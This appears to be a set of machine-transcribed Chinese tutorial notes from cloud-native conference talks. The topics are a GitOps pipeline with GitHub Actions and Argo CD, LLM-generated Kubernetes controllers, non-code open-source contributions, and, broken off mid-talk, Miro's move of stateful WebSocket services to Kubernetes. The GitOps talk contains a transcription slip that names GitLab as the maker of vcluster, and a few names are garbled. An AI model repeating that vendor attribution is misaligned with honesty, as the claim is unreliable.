GitOps社区建议你将应用代码和配置代码放在两个不同的地方、两个不同的仓库中,因为两者有不同的生命周期。你对应用代码的更改时间会与对配置代码的更改时间不同。甚至不同的团队可能对这两个不同的仓库拥有访问权限。

因此,在这个演示中,我想将它们分开,以展示这可能是什么样子。在这种情况下,我们有我们的应用仓库,它将在GitHub Action期间检出配置代码。它将进行一些更改,因为它将构建我们的镜像并给它们打上标签,对吧?所以我们的配置仓库需要知道这些更改。因此,它会将这些更改提交回我们的配置仓库。

深入GitHub Action工作流 ⚙️

现在,让我们看看我们的GitHub Action。我会讲得快一点。我们的GitHub Action里有很多内容。请放心,最后我会提供一个链接,告诉你如何获取所有这些资源,包括仓库、GitHub Action以及我提到的所有资源。

在我的GitHub Action中,我让它运行在拉取请求上,每次你打开拉取请求时运行,不仅是在打开时,还包括他们所说的同步拉取请求时。在GitHub或任何你使用的Git仓库中,你打开一个拉取请求或合并请求。但通常,你会在打开后继续向它提交代码。这就是同步所做的。它会在你每次在该拉取请求上再提交时运行测试。

它将运行在任何试图与主分支合并的拉取请求上。

然后我们进入我们的依赖项。我们将指定GitHub Action在Ubuntu上运行。我们将检出当前仓库的代码。所以拉取请求进来了。

这里我们将指定使用K3s。然后我们将登录Docker,以便在处理镜像、推送镜像时,我们可以将它们推送到Docker Hub,推送到我们工作环境之外的远程Docker注册表,以便它可以在生产环境中部署和运行。

所以我们登录Docker。然后在这里,我们开始构建我们的Docker镜像。我们将构建后端和前端。我们将用提交的SHA值给它们打标签。这是另一个很好的实践。你总是希望你的容器和代码提交具有相同的标识,这样你就可以说,哦,等等,这个特定的镜像、这个特定的容器正在运行这个特定的代码修订版。确保它们对齐且相同。

我们将这些镜像推送到Docker Hub。然后现在我们将检出我们的配置代码,以便我们可以在GitHub Action内部从另一个仓库检出代码。所以我要从我的配置代码仓库检出它。然后,当我获取它时,我给它一个路径,我给它在中间的config_repo_path,这样我可以标识我从那个仓库检出的代码。

在配置仓库内部,它有点大,因为我想让它大一些以便你能看到。所以我将在这里向右滚动一下。我将引用config_repo。在配置目录中,我有我的Kubernetes清单文件,即我们之前展示的带有几个部署、几个服务和入口的K8s清单文件。我希望能够对这个文件执行查找和替换操作。

所以我要查找我的占位符值,即全大写的部分。然后我将为我的镜像标签插入我的SHA值,并为我的前端URL插入值。Vars.全大写。这些是保存在GitHub仓库中的变量值。

在这种情况下,我们使用sed命令。这是一个命令行命令,允许你在文件内部进行这种查找和替换。在这种情况下,你也可以使用模板引擎,比如Kustomize或Jinja。这取决于你想使用什么。再次强调,这回到了关于每个步骤都有许多不同工具的讨论。这些只是我今天使用的工具。

接下来在我们的GitHub Action中,我们将安装我们需要的Helm Chart。在这个特定情况下,我们需要一个Helm Chart。我们需要ngrok操作符,以便我们可以使用它来提供我们的入口。

我们选择ngrok的原因是,ngrok允许你设置URL并传递给ngrok服务,该服务引用该URL,而无需了解有关该集群的任何信息,除了它使用这个ngrok操作符与之关联,所以你不需要知道任何服务的IP地址等。这就是我们今天使用ngrok的原因。

然后,我们应用K8s文件。随着集群运行,我们将构建我们的测试容器。然后我们将运行它。我们将传入我们拥有的前端测试URL。我们在测试代码中设置了那个前端测试URL,但我们也将其设置在GitHub仓库中。GitHub允许你存储变量和秘密等,这些就是你在这个文件中看到的带vars.的值。

演示流程回放 ▶️

事实上,我们将进入那个时间点,在我们的GitHub Action中。我录制了整个过程。视频的好处是我们可以逐步查看,我可以暂停,可以跳过。不好的部分是,我不能真正改变分辨率。所以抱歉。

但我会开始播放。本质上,我所做的是,我看到我想在我的网站上做一个更改。我想更改标题,因为我意识到这不是一个全球所有汉堡店的列表,只是华盛顿州西雅图(我来自的地方)的汉堡店列表。所以我做了更改,说“西雅图汉堡店”。

然后我将推送该代码。所以我会提交它。我们可以假设我们知道那里发生了什么。

所以我会跳过那部分,它将把代码推送到GitHub。现在我打开一个拉取请求。那个拉取请求随后启动我们的GitHub Action。

观看这个的好处是,我不会让我们看整个过程,但它会开始构建并安装我们所有的依赖项。我们在开始之前看到它正在获取K3s,以便我们可以使用它。现在它将构建我们的后端和前端的Docker镜像。

我们将跳过那些部分,因为这需要时间。再次强调,这回到了整个幻灯片。记住举重者的比喻,它确实需要时间。然后现在,我们将跳到这里,我们的测试。然后,就在这里,我们的测试运行了。

在众人面前做事总是更难。好了。我们将看到三个测试通过,所有四个测试通过。我保证我不想花时间试图快进到那里。但我们看到我们的测试通过了。

然后它可以继续我们GitHub Action中的后续步骤。如果我们的测试没有通过,像Cypress这样的框架可以提供资源,比如给你一张截图,显示当时的情况。

例如,在这里,我可以来到我的测试代码,说,哦,失败时是什么样子?我说,哦,这是它无法加载时的截图。那个第一个测试说,这就是我看到的。这就是Cypress所说的。所以你可以在运行测试时将其作为资源。

测试通过后的部署 🚀

所以我们的测试通过了,我们跳转到GitHub Action的下一部分,即进行部署。在这里,我想更多地谈谈我们的GitOps原则。

GitOps原则 🤖

GitOps是一种哲学,本质上说我们的基础设施被定义为代码。我们应该使用Git作为单一事实来源。Git是我们应该存放一切的地方,所有配置都存储在那里。你不手动进行更改,而是通过提交到Git仓库来进行更改。

这样,现在你就有了你所做的每一次更改的历史记录,你确切地知道更改了什么、谁更改的以及何时更改的。这一切都发生在Git内部。但同时,你也有这些流程,比如我们刚刚看到的GitHub Action,它随着我们的Git流程发生,我们推送代码,然后可以开始在该代码上运行自动化,这样当我们推送配置更改时,我们可以测试以确保我们的配置实际工作,我们的应用实际工作。

Git作为我们的单一事实来源。接下来我要讨论的是GitOps社区中的另一个想法,他们称之为“渲染清单模式”。

这是一种模式,你的清单(即我们实际要用于部署的K8s配置文件)已经完全渲染好,包含我们要使用的值,并放置在仓库中,以便CD流程可以获取它们。CD流程不会找到一个模板然后替换值。我们实际上将拥有该清单的渲染版本。

在我们的例子中,在GitHub Action期间,测试通过后,我们让GitHub Action将更改提交回配置仓库。但它不是放到主分支,而是为测试创建了分支:render-testrender-prod。在这种情况下,我们创建了这些永远不会合并回主分支的分支。

它们将是CD流程监视的独立位置。主分支将保留模板,即包含占位符值的模板。而在渲染分支内部,我们有完全渲染的配置。

这样做的好处是,你再次拥有了应用配置的完整历史记录,不仅用于生产,也用于测试。那些测试分支中的配置是刚刚在GitHub Action中运行的。但现在你有了那个测试。如果你想在应用部署到外部世界后运行额外的测试,你也可以这样做。这被称为冒烟测试,以确保你能在用户发现问题之前发现问题。

在这个例子中,我们看到渲染清单中包含了镜像标签和测试分支中的URL值。然后我们也有……视频的好处,对吧?今天我们不演示这个。所以你还看到我们有镜像标签,它们带有来自git提交的SHA值,并且在我们清单内部。

引入Argo CD 🎯

现在我们已经有了渲染清单,它们位于分支中,准备被渲染和部署。我们将介绍今天的最后一个工具:Argo CD。Argo CD将监视我们的特定分支,并说,好的,我将监视特定分支,当该分支有更改时,我将部署它。

在我们的例子中,我们将查看render-prod分支。我将播放这个视频。你会想观看。你看到右下角那些青绿色的方框了吗?那就是你想看到更改同步的地方。

那将在我们推送到生产环境之前处理我们对集群的更改。我们看到,我们检查确保入口设置好了,部署设置好了。然后我们可以去查看我们的生产站点。更改已经完成。

所以我更改了标题,并且我有信心我做的更改没有对我的系统产生不利影响,并且完全按照我的意图执行。

现在,敏锐的眼睛会注意到这个列表是0。在开始填写表单之前,而前一个不是。嗯,这是因为这个应用运行在本地存储上。在现实生活中,你会希望有持久卷、一些持久存储,这样你就不会每次创建新镜像时丢失数据。

应对更复杂的应用:vcluster 🚀

所以你可能会想,Scott,这很好。但我的应用比两个部署或两个服务要大得多。我的应用有很多CRD。这将需要更长的时间来构建和测试。你没有错。

我最近了解到一个新项目,对我来说是新的:vcluster。vcluster是一个Kubernetes发行版,允许你在一个集群内部拥有另一个集群。从某种意义上说,你可以有一个临时的、短暂的Kubernetes集群运行在主机集群内部。

那么,这如何帮助测试呢?想象一下:你有一个集群运行在你的云或环境中,它运行着你生产环境的vcluster。这没问题。但主机集群内部安装了所有这些CRD。你想用相同的CRD、相同版本的CRD进行测试。使用vcluster,你能够启动一个新的vcluster,使用所有相同的CRD,测试完毕,然后将其关闭。

你可以在GitHub Action中完成所有这些。我上周刚加入这个团队,所以还没有准备好展示任何东西。但我有一个链接,指向我的同事Siam制作的一些资源,这些资源也可用,我稍后会通过二维码展示。你可以看到如何做到这一点。

总结与资源 📖

事实上,我相信就是那个二维码。我在我们的社区GitHub社区Slack工作区创建了一个频道,用于测试的一般讨论,但也包含我看到的幻灯片的链接(实际上是扩展版本的幻灯片,因为我不得不删减了很多内容),以及仓库的链接,还有Siam关于如何在拉取请求中启动临时环境的文章链接,类似于我刚才所做的,但是使用vcluster。

我是Scott McAllister,最近加入了vcluster的制造商GitLab,担任开发者布道师。非常感谢大家今天来听我的演讲,希望大家在接下来的演讲中度过愉快的一天,并祝旅途平安。

055:超越自动补全——利用大语言模型创建1000个Kubernetes控制器

在本教程中,我们将学习如何利用大语言模型(LLM)来大规模生成Kubernetes控制器。我们将以Google的Config Connector项目为例,该项目需要管理约1000个不同的Google云资源,因此需要编写1000个对应的控制器。我们将探讨如何从传统的“魔法机器”方法转向基于LLM的代码生成策略,并分享在实践过程中遇到的挑战、解决方案以及核心原则。

从“魔法机器”到代码即产物 🧠

上一节我们介绍了项目背景,本节中我们来看看核心思路的转变。

Config Connector项目的目标是为Google Cloud的REST API提供Kubernetes原生接口。这意味着每个云资源都需要一个对应的自定义资源定义(CRD)和控制器。最初,团队尝试基于Terraform等工具构建一个统一的、复杂的核心控制器(即“魔法机器”)。这种方法的问题是,任何针对单一资源的修改都可能意外破坏其他资源,维护成本极高,且难以响应简单的客户需求。

因此,团队提出了一个关键的理念转变:将复杂性从运行时转移到构建时。我们不再构建一个在客户环境中运行的、极其复杂的“魔法机器”,而是接受生成大量简单、独立的代码。只要每段代码都是简单且自包含的,代码总量多并不是问题。我们可以利用LLM这样的“终极魔法机器”在构建时高效生成这些简单代码,而最终交付给客户运行的是清晰、可维护的产物。

这种“代码即产物”的理念至关重要。代码本身定义了产品,是我们必须与之协作的主要工件。所有工具,特别是AI工具,都必须能够基于现有的代码库进行工作,做出小的增量改进,而不是假设它们从头创建了一切。

为何选择LLM而非传统工具? ⚙️

上一节我们介绍了核心思路,本节中我们来看看为何选择LLM作为实现工具。

在采用LLM之前,团队尝试过基于抽象语法树(AST)的传统代码生成工具。虽然生成的代码质量不错,但构建和维护这套系统本身非常复杂,每次遇到新情况都需要大量人力投入,无法满足生成1000个控制器的目标。

恰逢其时,以ChatGPT为代表的LLM开始展现出强大的代码理解和生成能力。LLM的优势在于:

  • 开箱即用的代码处理能力:无需像传统工具那样进行大量底层工程。
  • 对可靠性的要求不同:我们不需要LLM达到100%的确定性。因为它只在构建时运行,我们可以接受它偶尔产生错误结果,通过多次运行或人工筛选来获得正确输出。这大大降低了使用门槛。

拥抱不确定性:LLM带来的新挑战 🤔

上一节我们看到了LLM的优势,本节中我们来看看随之而来的新挑战。

对于习惯确定性工具的工程师来说,LLM的非确定性特性带来了新的挑战和思维转变:

  • 测试失败的含义:如果运行测试失败,是提示词有问题,还是只是LLM本次生成走了“坏路径”?可能需要重新运行多次。
  • 直觉可能误导:不要轻易假设LLM“不能”做某事。例如,团队曾费力编写YAML解析逻辑,后来发现直接给LLM原始YAML它也能处理得很好。
  • 模型持续进化:今天尝试无效的方法,可能在下一代模型上就有效了。因此,将实验过程标记以便在新模型上重新运行是非常有价值的。

理解自身需求对于设计解决方案至关重要:

  • 是否需要生产环境确定性:我们不需要。LLM在构建时运行,生产环境运行的是生成的确定代码。
  • 是否需要快速决策:不需要。构建过程可以花费较长时间(例如整夜运行)。
  • 是否需要可预测的结果:需要,但不必每次都对。可以通过多次运行和验证来获得正确结果。

核心策略:接受“苦涩的教训” 🎯

上一节我们讨论了挑战,本节中我们来看看应对这些挑战的核心哲学。

Rich Sutton的“苦涩的教训”一文对AI研究和我们的软件工程实践都有启发。其核心思想是:研究人员或工程师会投入大量领域知识来优化当前的AI系统,并取得良好效果。然而,下一代AI模型、更多的算力或新硬件往往会轻松超越这些精心设计的优化。

因此,我们必须接受这一“苦涩的教训”,并采用不会因此失效的策略。这意味着:

  • 避免针对特定模型的深度优化:例如,不过度花费数周时间微调提示词,因为新模型可能对提示词的反应完全不同。
  • 聚焦于通用技术
    • 确保输入信息的质量:遵循“垃圾进,垃圾出”的原则。想要输出中包含的信息,最好确保它出现在输入上下文中。
    • 分解大问题:将复杂任务拆解为多个小任务。
    • 建立反馈循环:持续改进我们的方法和工具。
    • 利用LLM当前的优势:例如,为其暴露工具或函数调用能力。

目标是,当新一代模型发布时,我们将其纯粹视为利好,而不是让所有前期工作作废。我们只需轻微调整提示词,就能看到结果变得更好。

构建工具链:“夹具”与“联锁”机制 🛠️

上一节我们确立了核心策略,本节中我们来看看具体的实现方法。

我们构建了许多小型工具(称为“夹具”),并设计让它们协同工作的“联锁”机制。

简单任务:提示词模板与工具调用
对于简单任务,我们使用基本的提示词注入或模板,并为LLM暴露一些简单函数(如写入文件、运行gcloud help命令)。例如,让LLM读取gcloud帮助文件并尝试构建一个测试用例。

复杂任务:归纳循环
对于编写控制器、CRD等复杂任务,简单的“氛围编码”效果不佳,需要更多结构。我们采用“归纳循环”方法:

  1. 手动编写几个示例(如Fuzzer),并在代码中添加特定注解,将输入(注解)和输出(代码文件)配对。
  2. 当需要生成下一个类似代码时,扫描代码库,将所有已有的输入-输出对放入LLM的上下文。
  3. 向LLM提供新任务的输入(注解),要求它生成对应的输出(代码)。
  4. 对LLM的输出进行修正(或重新运行),通过代码评审后提交到代码库,这就成为了新的示例。

这个过程可以有效地从2个示例扩展到3个、4个,直至覆盖大量资源。

任务分解与联锁验证
生成一个控制器大约需要12-15个步骤。每个步骤相对独立,并且包含验证机制(“联锁”)。例如,在生成HTTP日志的步骤中,如果发现大量404错误,流程就会暂停并标记问题,而其他成功的步骤可以继续。

这种分解的另一个假设是:两个独立任务同时产生能够完美配合的幻觉错误的概率很低。如果它们生成的代码能够正确协同工作,这本身就是它们可能正确的一个证据。

规模化与信任构建 📈

上一节我们介绍了生成单个控制器的流程,本节中我们来看看如何规模化并确保质量。

规模化流水线
我们构建了自动化流水线,将10-15个步骤串联起来,并支持基于元数据驱动地对大量资源进行并行处理。例如,可以一次性对1000个资源运行第一步,第二天检查结果,然后对成功的600个资源运行第二步,同时调试失败的400个。有些步骤也可以是非LLM的混合方案(如使用现有的CRD生成器)。

构建信任机制
生成了大量代码后,如何确保质量?

  • 代码审查:有效但可能成为新的瓶颈。
  • Linter:使用针对CRD和代码的Linter捕获常见问题。
  • 可信测试:如果已知输入和预期输出,生成的测试本身就提供了验证。还可以通过A/B测试,同时用模拟服务和真实服务运行测试来增强信心。
  • 使用不同LLM进行审查:让另一个LLM专门查找特定类型的问题。
  • 人机协作:将人类擅长的工作(如API设计评审)留给专家,自动化其他部分。

关键要点与总结 🏁

在本教程中,我们一起学习了如何利用LLM大规模生成Kubernetes控制器。我们探讨了从“魔法机器”到“代码即产物”的思维转变,拥抱LLM非确定性带来的挑战,并制定了接受“苦涩的教训”、聚焦通用技术的核心策略。通过构建“夹具”与“联锁”工具链,采用“归纳循环”方法分解复杂任务,我们实现了控制器的自动化生成。最后,我们讨论了通过流水线实现规模化以及构建多重验证机制来确保代码质量的实践。

关键要点总结:

  • 解决正确的问题:明确你是否真的需要生产环境确定性或快速响应。
  • 验证至关重要:在每个步骤建立验证机制,防止在错误的基础上继续构建。
  • 记录意图与结果:记录给LLM的指令、反馈和错误,便于调试和迭代。
  • 可能不存在唯一解:针对不同场景(如全新生成 vs. 向后兼容)可能需要不同的生成路径。
  • 与开源理念相通:生成大量简单、可读的代码,有利于社区贡献和审查,这与优秀的开源项目实践是一致的。

虽然我们尚未解决所有问题,但上述技术在需要大规模生成代码或配置的领域具有广泛的适用性。希望这些经验能为你利用AI提升工程效率提供启发。

056:无需代码 - 从表情符号到贡献阶梯的荣耀之路

概述

在本节课中,我们将学习如何在不编写代码的情况下,为云原生和开源项目做出有意义的贡献。我们将探讨非代码贡献的重要性、多种贡献方式,并通过具体的项目(如Kubernetes和OpenTelemetry)实例,为你提供清晰的入门路径。

演讲者介绍

我是Nancy。我热爱产品,目前是一名工程师和开发者布道师,同时在康奈尔大学攻读硕士学位。我曾任职于电商初创公司B Ki,并曾为Gitford和LocalStack做布道工作。我是CNCF大使,并创立了“云原生女性社区”,正是在那里我结识了Carol并成为了好友。我还曾担任CNCF学生周的联合主席,以及技术环境可持续性特别兴趣小组的联合主席。我热爱自然、猫咪和旅行。

我是Carol Valencia。我专注于云原生安全领域,曾就职于Aqua Security,目前任职于El。我同样是CNCF大使,并与Nancy共同活跃于社区。我是拉丁美洲的云原生分会组织者,并参与Kubernetes发布团队的工作。由于英语并非我的母语,我也积极帮助进行西班牙语的本地化工作,主要参与Kubernetes和OpenTelemetry项目。我的经历让我深刻理解社区协作,尤其是对于非英语母语贡献者的重要性。

为什么非代码贡献至关重要?🤔

在深入探讨之前,我想问大家:有多少人曾因文档糟糕而感到困扰,并希望有人能修复它?我看到很多人举手了。这正是我们讨论的起点。

我们从咖啡社区和开源社区收集了许多观点,其中我最认同的一点是:非代码贡献者是代码贡献的倍增器。你无需编写代码也能为开源项目做出贡献。

许多人最初感到不知所措和胆怯,认为必须编写代码或构建复杂软件才能融入。但事实上,存在一篇很棒的文章《我为自己是一名非代码开源贡献者而自豪》,这激励了许多人。这也是我们今天演讲的核心:激励大家进行更多的非代码贡献。

非代码贡献是开源成功的秘诀。它们通过多种方式赋能开源项目,无论是改进文档、建议更好的用户体验,还是提供反馈。在今天的讨论中,我们将详细探讨这些方式,或许你能找到自己感兴趣的贡献方向。

非代码贡献实例:用户反馈 🔄

让我们看一个常见的例子,这也与我个人的经历相关。

在我职业生涯初期,我们使用Grafana的开源版本。我们对Grafana有很多反馈。后来在Kubernetes论坛上,我们有机会与Grafana团队坐在一起交流。我们提出了反馈:能否修复代码库中的某些问题?能否增加更多功能?

这就是一种贡献。用户提出问题或提供反馈,例如:“我试用了你们的产品,但入门流程可以更好,文档不够清晰。” 维护者接收并倾听这些输入。我相信在座的维护者会认同反馈的重要性。

随后,维护者从中获得见解和想法,改进功能并进行实验,最终交付更优秀的、用户喜爱的软件。提供反馈就是一种重要的非代码贡献

社区构成与影响力 📊

这是一组来自KubeCon 2024巴黎大会的参会者数据。其中包括商务运营、高管、销售与市场、产品经理、教授、学者和学生。这些角色与产品直接相关,但他们并非都是开发者。这个比例相当可观。

为什么非代码贡献如此重要?因为社区远不止于代码。以Kubernetes为例,其成功背后有无数人在努力:有人负责文档,有人负责发布团队和沟通,有人负责问题分类。正是这些人的共同努力推动了开源项目的成功。

非代码贡献者驱动着影响力,无论是收集反馈还是连接社区。技术在认可贡献时,并非只局限于代码,每个人都有属于自己的空间

非代码贡献角色清单 📝

以下是一个庞大的角色清单,你可以看看是否能与其中任何角色产生共鸣:

  • 文档与内容:分享知识、撰写博客、帮助翻译。
  • 沟通:在Slack等渠道提供帮助,这对所有开源项目都至关重要。
  • 问题分类:审查GitHub issue和PR。
  • 质量保证:测试、CI/CD、漏洞修复。

云原生计算基金会(CNCF)有超过1000个项目。虽然我们将重点讨论Kubernetes和OpenTelemetry这两个大型项目,但这里提到的所有贡献方式都可以应用于成千上万的CNCF项目中。

如何开始:阅读贡献者指南 🚪

每个开源项目通常都有一个贡献者指南,即使是沙箱阶段的项目也有贡献模板。你可以从中找到贡献方式:发现问题、进行测试等。

对于像Kubernetes和OpenTelemetry这样拥有复杂指南的大型项目,一个好的起点是尝试阅读它们。即使内容繁多,这就像进入一个新社区前需要了解规则一样。不要直接提issue问“为什么不行?”,可以先尝试理解项目。

另一个关键是建立联系。尝试接触项目的维护者,了解他们。这是第一步:认识社区成员,尝试理解项目,并通过Slack等渠道提问。这将是每个人开始贡献的良好开端。

聚焦:文档贡献 📄

文档是一个重要领域。一方面,有专业的技术文档工程师;另一方面,有产品经理。但在开源领域,有时这两者之间缺乏沟通。这可能导致文档难以理解,例如当由资深工程师撰写时,内容可能过于晦涩。

这时就需要可用性或用户体验方面的贡献。我们需要更多从用户视角出发的人,来创建更好的内容,考虑到所有可能使用该开源项目的用户类型。在开源世界中,并没有专职的这些角色,每个人都是在奉献自己的时间。你需要理解,维护者批准你的请求或给予反馈可能需要时间,但这正是宝贵的学习之路。

本地化:跨越语言障碍 🌍

对于非英语母语者或来自其他国家的贡献者,本地化工作至关重要。它有助于触及更广泛的受众。我们不一定需要翻译所有内容,但可以翻译基础知识。例如,Kubernetes和OpenTelemetry有复杂的概念,你可以翻译这些基础内容。

本地化不仅限于开源项目文档。例如,有一个很棒的项目为听障群体创建资源。我们可以帮助他们翻译,以触达更多属于这些少数群体的用户。翻译白皮书、建筑文本等,在考虑本地化时,有很多事情可以做,这贯穿于所有文本和整个CNCF生态。

贡献者阶梯与成长路径 📈

你可以从贡献者开始,尝试翻译、帮助进行问题分类、管理Slack频道或协助发布博客内容。之后,通过展示持续投入的韧性(在开源社区中,保持持续参与有时颇具挑战),你可以成为维护者。

开源社区中有优秀的领导者思考如何发展社区。例如,在Kubernetes中,有团队专门创建博客,展示即将开发的新功能,并考虑新手的体验。随着你在贡献者阶梯上成长,你还可以创建更多项目,帮助他人了解如何互助。

Kubernetes社区:非代码贡献的组织范例 🏗️

Kubernetes社区规模庞大,是非代码贡献体验组织的一个绝佳范例。

  • 贡献者体验:这是一个完整的GitHub项目。如果你擅长数据分析或希望参与导师计划(这需要管理并联系能互相帮助的人),可以加入其中。
  • 社区管理:DevStats、活动等都是独立的项目。
  • 博客管理:例如Kubernetes发布博客,其背后需要大量人员协调不同小组的工作。
  • 新贡献者培训:每周录制视频,指导如何在Kubernetes中成为新贡献者。
  • 资讯项目:汇总所有Kubernetes的新功能和新闻,供新用户参考。

Kubernetes社区投入了大量精力创建了一个关于非代码贡献的网站。你可以扫描二维码查看详情。无论你想从发布团队、文档还是其他方面开始贡献,都可以参与其中。

测试:确保项目稳定运行 🧪

测试是另一项关键的非代码贡献。你需要通过测试来确保一切按预期工作。每个人的环境设置都不同,这正是优势所在:你可以提供反馈。多样化的测试者能发现独特的可用性问题。

你可以通过多种方式帮助开源项目:测试功能、报告错误、验证修复、尝试复现问题。即使你只是运行项目时遇到障碍,也可以提出issue,指出某些地方无法正常工作。测试功能本身就是一种贡献

问题分类:管理项目入口 🗂️

问题分类是一个流程,通过审查新的GitHub issue和PR来组织它们以便采取行动。像Kubernetes或OpenTelemetry这样的大型项目有大量issue和PR。你可以成为分类员,以此方式做出贡献。

这个过程根据优先级或紧急性等因素对issue和PR进行分类。这能让你深入了解项目环境和开源项目的运作方式。这是开始接触并熟悉项目的好方法。

同样,社区网站提供了如何入门的详细信息。

发布团队:参与项目周期 🚀

每个Kubernetes版本都有发布团队在辛勤工作。发布团队为熟悉Kubernetes项目及其生态系统提供了绝佳机会。

发布团队包含多个角色:增强功能负责人、通讯负责人、发布信号负责人、文档负责人、发布说明负责人等。你可以以不同方式参与。在任何软件发布中,都有大量的项目管理、博客发布和跨小组沟通工作。虽然这些工作可能不那么显眼,但它们至关重要。

发布路径在GitHub上可视化。扫描二维码可以访问发布团队的GitHub仓库,其中展示了与Kubernetes版本发布相关的许多部分:文档、通讯、CI/CD流水线等。我们确实需要更多人来贡献这些专业领域。

选择适合你的项目 🎯

Kubernetes可能让人望而生畏。我的建议是:从一个你更熟悉或更感兴趣的项目开始。如果你喜欢存储或安全,可以尝试参与相关项目。CNCF有上千个开源项目,你无需只专注于Kubernetes。

我们展示Kubernetes是因为它在沟通和组织方面经验丰富,但并非所有项目都像Kubernetes那样拥有完善的小组结构。其他项目,如OpenTelemetry,也拥有大量贡献者和类似的沟通需求。你可以访问OpenTelemetry社区,学习更多关于非代码角色的知识。

社区中还有最终用户小组,这非常有趣。在OpenTelemetry中,最终用户小组讨论如何实现供应商中立,他们进行大量访谈和非代码相关工作。所有这些小组——沟通、贡献者体验、开发者体验——都需要帮助。你可以将这个范例复制应用到其他项目,因为每个项目都需要提升这些方面的体验。

技术咨询小组:超越代码的协作 💡

技术咨询小组(TAG)听起来很技术性,似乎只涉及代码贡献,但事实并非如此。我来分享我的经历。

TAG是CNCF内由社区主导的小组,涵盖不同领域:环境可持续性、应用交付、网络安全、可观测性、网络、存储等。如果你对任何主题感兴趣,都可以参与。它们提供专家指导并推动跨焦点领域的协作,由维护者、用户和生态贡献者组成。

你可以通过多种方式参与:撰写白皮书、制定最佳实践、主持工作组、组织讨论等。例如,我参与了环境可持续性TAG,并领导了一项可持续发展倡议,在全球组织了22场以上的见面会。我作为项目维护者,运用了非代码技能来确保该倡议的成功。每个TAG都需要非代码技能,并且它们向所有人开放。你可以随时加入会议并做出贡献。

社区建设:连接志同道合者 🤝

社区建设同样重要。通过见面会,你可以结识志同道合的人,讨论工作或交流反馈。你可以查看相关网站,找到全球的社区小组并参与其中。这也是非代码技能的一部分。

成功贡献小贴士 ✨

我们采访了许多进行非代码贡献的人,以下是一些助你成功并可能在贡献阶梯上晋升为维护者或领导者的建议:

  1. 选择与工作或个人兴趣相关的主题:这样更容易在本职工作之外坚持贡献,同时也能助力你的职业发展。
  2. 注重协作而非竞争:在团队中互相帮助会让体验更愉快,结识更多人也能激励你持续贡献。
  3. 保持耐心与坚持:理解开源社区的节奏,持续投入是成长的关键。

社区中有许多关键人物在非代码贡献方面做出了卓越工作,尤其是在Kubernetes和OpenTelemetry领域,还有无数人在幕后默默付出。

资源与总结

我们提供了一些主要与Kubernetes项目相关的资源,可以帮助你入门。幻灯片将会上传。

感谢大家的参与。如果你有任何问题,可以通过社交媒体联系我们。

总结

在本节课中,我们一起学习了非代码贡献在云原生和开源世界中的核心价值与多样途径。我们了解到,贡献远不止于编写代码,还包括文档、翻译、测试、问题分类、社区管理、参与发布团队和技术咨询小组等多种形式。无论是通过提供用户反馈,还是协助项目本地化,每个人都能找到适合自己的方式参与并产生影响力。记住,从你感兴趣或熟悉的领域开始,保持协作精神,持续投入,你就能在贡献阶梯上不断成长,成为开源社区中不可或缺的一员。

057:Kubernetes 中的有状态连接——无人提及的扩展秘诀

在本教程中,我们将跟随 Miro 公司的 André 和 Rodrigo,学习如何将关键的有状态 WebSocket 服务从传统的 EC2 架构迁移到 Kubernetes 平台。我们将深入探讨协议特性、系统约束、优雅关闭、自动扩缩容和负载均衡等核心概念,并揭示在迁移过程中遇到的挑战与解决方案。

1:背景与挑战

首先,让我们了解一下 Miro 的产品架构及其面临的挑战。

Miro 可以被视为企业协作的“游戏引擎”。其核心是一个有状态的“板服务器”,每个在协作白板上的用户都需要通过 WebSocket 连接到同一个后端服务器。这种有状态特性带来了显著的路由挑战:客户端如何知道应该连接到哪台服务器?

历史上,Miro 使用 Fabio 作为反向代理,并与 Consul 集成进行服务发现。板服务器启动时会向 Consul 注册,Fabio 则动态更新其路由表。从客户端到基础设施的路径基于 URL,其最后一部分直接代表了后端 EC2 实例的名称。

这种基于路径的路由方式虽然可行,但也带来了额外挑战。例如,如果承载某块白板的服务器宕机,客户端必须与后端服务器重新协商连接,增加了连接管理的复杂性。同时,基础设施侧可能存在潜在的“脑裂”问题,因为应用内部的服务注册逻辑可能与基础设施侧的 Consul 服务发现不同步。

尽管 Fabio 和 Consul 曾发挥重要作用,但变革的时机已经到来。

2:迈向云原生

在改造核心服务之前,让我们看看 Miro 在组织层面进行的云原生转型。

早在 2021 年,Miro 就认识到其遗留架构并非云原生,并开启了一场转型之旅。他们从零开始重建计算平台,承诺使用 Kubernetes 和 Amazon EKS 作为下一代应用的基础,推出了所谓的“计算平台”。

该平台由 Kubernetes 驱动,并集成了顶级的 Operator 和控制器,为开发人员提供了一个功能丰富的环境,使他们能够基于微服务架构快速构建和迭代新功能。他们采用了 Karpenter 作为集群自动扩缩器,Kyverno 作为动态准入控制器。

时间来到 2024 年,是时候将计算平台的益处扩展到最关键的工作负载了。但为什么要改变一个仍在运行的系统呢?

3:变革的驱动力

接下来,我们探讨推动这次迁移的具体业务和技术需求。

2024 年 Miro 的大型活动即将到来,团队希望展示产品中一些非常酷的新功能,例如文档和智能画布上的数据表格,这些功能将实现新的实时协作体验。然而,客户端(主要是浏览器)对连接到同一域名的同时打开连接数量有严格的限制。

打破单体设计意味着客户端应该能够打开到基础设施后端任意数量无状态工作负载的 WebSocket 连接,而不是像以前那样全部连接到单一端点。这促使我们需要一个更智能、支持多路复用的 WebSocket 路由,将后端的多个大连接通过单一的物理连接复用到客户端。

为了实现这一目标,来自三个不同团队的工程师集合在一起。云网络团队负责现有的 Fabio LB、Consul 和负载均衡器配置。计算团队(Rodrigo 和 André 所在团队)负责 EKS 集群和为微服务平台提供支持的 Operator。协作运行时团队则是新智能 WebSocket 代理和板服务器背后的“大脑”。

理解变革的需求、参与的角色以及我们使用的工具,为深入探讨 Kubernetes 中的有状态连接及其扩展秘诀奠定了重要基础。

4:理解有状态连接的基础

在进入具体实现之前,我们需要理解所面临的挑战,掌握有状态连接的基础知识。

首先要理解我们所使用协议的本质。不同的用例可能需要针对有线协议进行不同的考量。以 WebSocket 为例,它是 HTTP/1.1 协议的扩展。通信流程首先需要在客户端和服务器之间建立一个加密的安全 HTTP 连接,然后才能将此连接升级为 WebSocket 连接。这意味着在此过程中有两次握手:一次用于 TLS 部分,另一次用于 HTTP 升级。此后,客户端和服务器之间交换的双向消息才能被发送和接收。这使得建立新连接在我们的场景中成本更高,增加了资源消耗,并在过载时导致尾部延迟。

这引出了下一个与保活相关的话题。保活是我们必须接受的必要手段,但在配置时需要谨慎,需要适当调整通信流中每一跳之间的空闲超时时间,确保通信流中的每一方重用的连接永远不会被上游的另一方实际关闭。

